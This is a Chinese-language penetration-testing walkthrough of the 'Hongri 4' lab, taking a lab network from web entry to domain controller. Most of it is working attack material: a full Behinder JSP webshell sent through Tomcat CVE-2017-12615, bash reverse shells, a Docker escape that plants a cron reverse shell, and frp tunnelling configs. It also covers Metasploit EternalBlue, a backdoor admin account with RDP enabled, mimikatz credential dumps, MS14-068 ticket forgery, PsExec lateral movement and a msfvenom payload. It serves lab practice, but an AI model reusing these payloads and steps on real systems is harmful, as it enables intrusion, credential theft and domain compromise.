红日靶场4

红日靶场4

靶场配置

image

image

image

image

IP地址分配:

Win7:
192.168.183.133(内网)

Ubuntu:
192.168.183.134(内网)
192.168.120.137(外网)

DC:
192.168.183.130(内网)

Kali:
192.168.120.128(外网)

ubuntu上可以启动一下docker

docker start ec 17 09 bb da 3d ab ad

拓扑如下:

image​​​

打点×3

拿fscan都能扫出来,然后拿工具直接打就行了

image

Tomcat

这个就利用最简单的写木马即可了

einzbernnn/Tomcatscan: Tomcat漏洞批量检测工具 (github.com)

然后修改poc/cve_2017_12615.py里面的body成冰蝎就可以了:

body = '''<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>'''

image

image

拿着这个jsp地址直接连接就可以了

image

Struct2

image

也可以直接弹shell​->bash -c "bash -i >& /dev/tcp/192.168.120.1/4444 0>&1"

image

phpMyadmin

版本是4.8.1:

image

有个任意文件读取的洞

要利用的话首先要把利用的php语句执行一下查询,让他记录在session中

image

再利用包含读取session文件即可,/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_a4d1a8108774d843aef5e34e7043568a

image

这里是可以执行phpinfo的,但是无法执行system或者其他getshell语句,挺奇怪的

三个点都是docker搭建的,所以就是看哪个点可以执行docker逃逸

Docker逃逸

经过CDK检测,只有Tomcat的那个点可以进行docker逃逸

image

但是这里只能对文件进行操作

所以我们就写计划任务了,这里好像是远程机器的ssh开启Public那个选项,可以写公钥,这里还是利用计划任务演示吧

fdisk -l看一下可挂载的磁盘

image

mkdir /qingfeng 以qingfeng文件夹作为挂载的文件夹

/qingfing: mount /dev/sda1 /qingfeng

写反弹shell脚本

echo '#!/bin/bash' > /qingfeng/tmp/qingfeng.sh

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.120.1/9090 0>&1"  >> /qingfeng/tmp/qingfeng.sh

image

再写个计划任务:

sed -i '$a*/2 *   * * *   root  bash /tmp/qingfeng.sh ' /test/etc/crontab

cat /qingfeng/etc/crontab

image​​

之后监听9090等两分钟即可吃到shell

image

内网渗透

首先就是直接上fscan开扫了,先看一下网段

image

能扫到两个ms17010,但是只有win7的能够打通

image

接下来就是配置代理去打ms17010了

代理配置

上传frpc以及frpc.ini到攻破的web服务器下

frpc.ini的配置如下:

[common]
server_addr = 192.168.120.1
server_port = 7000
token = frpToken@admin2022


[proxy]
type = tcp
plugin = socks5
remote_port = 25599

接下来就是开启frps了,frps.ini的配置如下:

[common]
## 一、服务器的基本配置部分
## 7000 是FRP服务端口,可以改
bind_port = 7000
## dashboard_user和dashboard_pwd是FRP网页版管理员用户名密码,可以改。
dashboard_user = admin
dashboard_pwd = frpadmin@2022
## 7500 是网页版管理端口:可以通过 http://服务器ip:7500登陆
dashboard_port = 25500
## 服务器和客户机之间的心跳连接
heartbeat_timeout = 30
#token设置,需要和客户端一致,客户端与服务端通过token进行认证,建议满足复杂度要求
token=frpToken@admin2022

先在本机运行./frps -c frps.ini

image

再在web服务器运行./frpc -c frpc.ini​即可

image

当出现listen port以及success说明连接成功

image

kali打ms17010

启动msf:msfconsole

因为这里就挂了一个端口代理,所以用正向的攻击方式简单点,不然还得再配置一个代理

use exploit/windows/smb/ms17_010_eternalblue #使用ms17010模块
set payload windows/x64/meterpreter/bind_tcp #设置正向连接
set rhosts 192.168.183.133 # 设置win7的ip地址为目标地址

image

配置好直接run即可:

image​​

所以下一步的目标就是攻破域控了

内网横向

为了方便我这里直接添加用户上桌面了:

net user qingfeng qwer1234! /add
net localgroup administrators qingfeng /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

配置都是老掉牙了,不熟悉可以看看前面的红日打靶:

image

image

上桌面后传一个mimikatz抓密码,你也可以直接使用msf的kiwi

meterpreter > kiwi_cmd sekurlsa::logonpasswords

Authentication Id : 0 ; 444103 (00000000:0006c6c7)
Session           : Interactive from 1
User Name         : douser
Domain            : DEMO
Logon Server      : WIN-ENS2VR5TR3N
Logon Time        : 2023/12/27 21:10:03
SID               : S-1-5-21-979886063-1111900045-1414766810-1107
        msv :
         [00010000] CredentialKeys
         * NTLM     : bc23b0b4d5bf5ff42bc61fb62e13886e
         * SHA1     : c48096437367aad00ac2dc70552051cd84912a55
         [00000003] Primary
         * Username : douser
         * Domain   : DEMO
         * NTLM     : bc23b0b4d5bf5ff42bc61fb62e13886e
         * SHA1     : c48096437367aad00ac2dc70552051cd84912a55
        tspkg :
        wdigest :
         * Username : douser
         * Domain   : DEMO
         * Password : Dotest123
        kerberos :
         * Username : douser
         * Domain   : DEMO.COM
         * Password : (null)
        ssp :
        credman :

这里抓到了用户的SID,可以尝试使用MS14-068打一下了,如果域控没装KB3011780的话就可以拿下


需要用到的工具下载地址:

Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases

首先需要生成票据:

MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

image

桌面会生成一个票据

下一步利用mimikatz.exe(记得管理员权限)将证书写入,可以提升为域管理员:

kerberos::ptc TGT_douser@DEMO.COM.ccache

image

接着使用PsExec64横向:

PsExec64.exe \\WIN-ENS2VR5TR3N cmd.exe

这个计算机名字是fscan的时候扫出来的:

image

然后运行即可拿到域控的shell:

使用ipconfig命令可以看到已经是域控的IP了

image

域控上线

其实到这也算打靶结束,但是这里给自己下一个题,如何再上线呢?

我这里的思路就是通过certutil命令下载木马到域控,再通过一层端口转发到我们的kali,把木马流量转发到我们的kali即可上线成功

首先在ubuntu上写入frps.msf文件:

[common]
bind_port = 7001
token=frpToken@admin2022

image

接着配置kali使用frpc.msf:

[common]
server_addr = 192.168.120.137 # ubuntu的外网地址
server_port = 7001
token = frpToken@admin2022

[proxy]
type = tcp
local_ip = 192.168.120.128 # kali地址
local_port = 9999
remote_port = 9999

若是这样跑起来则是把192.168.120.137的9999端口流量转发到kali的9999端口

所以生成木马也是选择ubuntu的地址作为木马地址:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.183.134 LPORT=9999 -f exe > dc.exe

192.168.183.134是ubuntu的内网地址

msf监听等待回连

use exploit/multi/handler
set lport 9999
set lhost 192.168.120.128
set payload windows/x64/meterpreter/reverse_tcp

然后通过win7让dc下载木马程序:

image

这里的web服务你可以使用HFS也可以直接跑python,只要能让域控访问到就行

其实这里可以直接放到ubuntu的web目录下直接让dc访问也可以,当时做的时候传HFS方便点

下载完后运行dc.exe即可上线MSF

image

跑个ipconfig证明一手:

image

至此红日4成功完成